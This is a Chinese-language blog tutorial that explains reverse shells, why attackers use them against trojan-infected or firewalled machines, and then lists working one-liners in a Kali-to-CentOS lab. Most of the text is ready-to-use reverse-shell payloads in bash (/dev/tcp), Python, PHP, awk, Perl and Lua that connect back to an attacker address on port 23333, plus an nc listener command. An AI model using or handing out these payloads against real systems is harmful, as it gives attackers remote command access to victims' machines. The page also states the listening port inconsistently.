• 反弹shell


    什么是反弹shell

    reverse shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

    为什么要用反弹shell

    通常用于被控端因防火墙受限、权限不足、端口被占用等情形
    假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?
    1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。
    2.它的IP地址是浮动的,不能持续监听控制。
    3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。
    4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
    我们可以这样来理解,TCP中攻击端(男)与靶机(女)建立连接就像是男女间恋爱一样,男生主动向女生发消息就叫正向连接。
    女生主动向男生发消息就像反弹连接

    反弹shell实验环境

    服务端:kali IP地址为:192.168.139.3 开放端口为:2333
    客户端:centos7

    Bash脚本反弹shell

    服务端监听将要连接的端口:2333

    root@kali:~/桌面# nc -lvp 23333

    客户端向服务端(192.168.139.3:23333)发起tcp连接
    [root@localhost ~]# bash -i >& /dev/tcp/192.168.139.3/23333 0>&1

    回到kali中输入ifconfig查看网络状态,可以发现此时的shell变成了centos7中的了

    使用wireshark抓包分析

    Python一句话反弹

    [root@test ~]# python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.139.3",23333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

    PHP一句反弹shell

    [root@test ~]# php -r '$sock=fsockopen("192.168.139.3",23333);exec("/bin/sh -i <&3 >&3 2>&3");'

    Awk反弹

    awk 'BEGIN{s="/inet/tcp/0/192.168.139.3/23333";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

    Perl脚本反弹

    perl -e 'use Socket;$i="x.x.x.x";$p=23333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

    lua脚本反弹

    lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','23333');os.execute('/bin/sh -i <&3 >&3 2>&3');"

  • 相关阅读:
    Python的注释
    Python的优缺点
    pymysql模块
    python(pymysql操作数据库)
    面向对象的测试用例设计有几种方法?如何实现?
    请试着比较一下黑盒测试、白盒测试、单元测试、集成测试、系统测试、验收测试的区别与联系。
    什么是兼容性测试?请举例说明如何利用兼容性测试列表进行测试。
    当开发人员说不是BUG时,你如何应付?
    性能测试的流程?
    您所熟悉的软件测试类型都有哪些?请试着分别比较这些不同的测试类型的区别与联系(如功能测试、性能测试……)
  • 原文地址:https://www.cnblogs.com/hxlinux/p/14003154.html
Copyright © 2020-2023  润新知